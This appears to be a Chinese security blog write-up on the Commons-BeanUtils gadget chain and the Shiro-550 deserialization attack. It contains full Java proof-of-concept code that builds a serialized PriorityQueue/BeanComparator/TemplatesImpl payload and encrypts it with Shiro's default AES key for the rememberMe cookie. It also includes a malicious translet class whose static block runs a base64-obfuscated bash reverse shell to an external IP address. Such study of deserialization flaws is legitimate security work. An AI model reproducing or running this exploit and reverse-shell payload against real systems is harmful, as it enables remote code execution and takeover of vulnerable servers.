零、介绍 Shiro的CB链其实就是CC链做一些小改,因为Shiro框架首先是自带Commoncollections这个包的,除此之外还带了一个包叫做Common BeanUtils包,这个包就是本文的重点 这个包的作用本来是为了让我们方便对bean对象的属性进行各种操作而存在的,但是可以被当成CC链的跳板使用
一、回顾CommonCollections4利用链 在CC4中有如下图中调用的一条链
1 2 3 4 5 6 7 8 9 10 11 12 * Gadget chain: * ObjectInputStream.readObject() * PriorityQueue.readObject() * PriorityQueue.heapify() * PriorityQueue.siftDown() * PriorityQueue.siftDownUsingComparator() * TransformingComparator.compare() * InvokerTransformer.transform() * Method.invoke() * TemplatesImpl.newTransformer() * TemplatesImpl.getTransletInstance() * Runtime.exec()
这个链是进行恶意类加载的,其中用到了CommonCollection的类都有:
TransformingComparator
Transformer
TiedMapEntry
InstantiateTransformer
InvokerTransformer
主要是第一个,后面三个在接下来会发现不需要用到
二、Common-BeanUtils利用链 CB链和CC4的异同点就在于触发compare这个地方,也就是在CB链中哪里调用了compare方法,进而连接上链子 通过Codeql或者tabby可以找到(这里推荐codeql,tabby建议用来找长链子,codeql来找单个类)BeanComparator这个类 这个类的compare方法调用了PropertyUtils.getProperty
方法 这个类实际上会进行一个任意类的get方法调用 我们可以调用任意bean(class)的一个get方法去获取property
属性,关于这一点我们可以写个Demo测试一下
(1)任意get调用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package org.example;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.beanutils.PropertyUtils;public class App { public static void main ( String[] args ) throws Exception { PropertyUtils.getProperty(new User ("test" ,"111" ), "name" ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package org.example;public class User { private String name="Boogipop" ; private String age; public String getName () { System.out.println("get" ); return name; } public void setName (String name) { System.out.println("set" ); this .name = name; } public User (String name, String age) { this .name = name; this .age = age; } public String getAge () { System.out.println("get" ); return age; } public void setAge (String age) { System.out.println("set" ); this .age = age; } }
运行后会发现调用了get方法
(2)任意类实例化 那么很容易就联想的到TempaltesImpl类进行恶意类实例化,因为该类有一个方法叫做getOutputProperties()
这方法里面会进而触发任意类的实例化,从而执行命令,这个恶意类必须继承AbstractTranslet类,否则实例化失败,这都是之前学CC4讲的,这里直接放个链接Java反序列化研究
(3)CB链POC编写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.NotFoundException;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.beanutils.PropertyUtils;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.PriorityQueue;public class App { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main ( String[] args ) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(evil.class.getName()).toBytecode() }); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator comparator = new BeanComparator (); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add(1 ); queue.add(1 ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
这个POC中唯一需要注意的地方就是这个queue.add
调用2次是为了能够正常的进行反序列化,因为最小大小是需要2的,这个下面分析的时候我会说明 运行后成功弹出计算器,其中的依赖文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > org.example</groupId > <artifactId > shiroattack</artifactId > <version > 1.0-SNAPSHOT</version > <packaging > jar</packaging > <name > shiroattack</name > <url > http://maven.apache.org</url > <properties > <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding > </properties > <dependencies > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-core</artifactId > <version > 1.2.4</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.27.0-GA</version > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > <dependency > <groupId > commons-logging</groupId > <artifactId > commons-logging</artifactId > <version > 1.1.1</version > </dependency > </dependencies > </project >
(4)POC链调试分析 最外面套的还是优先队列PriorityQueue,因此在它的readObject方法上打上断点(其实CC4调了一遍,复古一次) 调用heapify方法,跟进 这里由于我们先前add了两次,因此是2,假如不add的话就是0,那么再减去1就是-1,,也就无法继续走进siftDown方法,进而无法RCE,这就是之前埋下的坑,这里siftDown的第二个参数是queue数组,我们再POC中反射修改为2个恶意templatesimpl对象: 继续跟进 这里的k是0,v就是恶意templatesimpl,随即进入siftDownUsingComparator方法 进行一系列的位移操作,chind索引为1,然后c也就是索引为1也就是数组中第二个obj,由于我们传入的2个obj都一样,所以进入compare方法的两个obj都是TemplatesImpl 调用一开始说的getProperty方法,也就是会调用任意get,剩下的就是Templates链的内容了,温习一遍。newTransformer()
getTransletInstance()
最后NewInstance RCE
三、Shiro550 Attack (1)环境搭建 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 由于要JDK7太麻烦了就不搭建了(浪费了点时间,得吃饭了) 这里我直接拉镜像了XDdocker pull medicean/vulapps:s_shiro_1
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
(2)POC分析 其实Shiro 550用的就是上面的链子,Shiro的触发点是Cookie处解码时会进行反序列化,他生成的反序列化字符串是进行AES对称加密的,因此要在最后生成的Base64字符串再进行一次AES加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.NotFoundException;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.beanutils.PropertyUtils;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.Base64;import java.util.PriorityQueue;public class App { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main ( String[] args ) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(evil.class.getName()).toBytecode() }); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator comparator = new BeanComparator (); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add(1 ); queue.add(1 ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); byte [] payload= barr.toByteArray(); AesCipherService aes = new AesCipherService (); byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource finalpayload = aes.encrypt(payload,key); System.out.println(finalpayload.toString()); } }
在当前环境中shiro中是没有cc依赖的,因此运行上述poc会出现一个报错: 虽然shiro中内置了CommonCollection的一部分,但是并不是所有,而org.apache.commons.collections.comparators.ComparableComparator
这个类就在CC包里面: 因此无法找到该类,也就报错了
(3)无依赖Attack Shiro 问题所在点也就是Compare方法上 如果不传入Comparator的话,那么默认就是ComparableComparator,因此我们需要指定一个Comparator
实现java.util.Comparator接口
实现java.io.Serializable接口
Java、shiro或commons-beanutils自带,且兼容性强
通过IDEA的功能,我们找到一个CaseInsensitiveComparator: 这样就可以不报错了,但是触发流程还是在get触发的,这个只是为了不报错 因此最终POC确立为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.NotFoundException;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.beanutils.PropertyUtils;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.Base64;import java.util.PriorityQueue;public class App { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main ( String[] args ) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(evil.class.getName()).toBytecode() }); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("2" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); byte [] payload= barr.toByteArray(); AesCipherService aes = new AesCipherService (); byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource finalpayload = aes.encrypt(payload,key); System.out.println(finalpayload.toString()); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMjQuMjM1LjE3Ni84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" ); } catch (IOException e) { throw new RuntimeException (e); } } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
收获反弹shell一枚~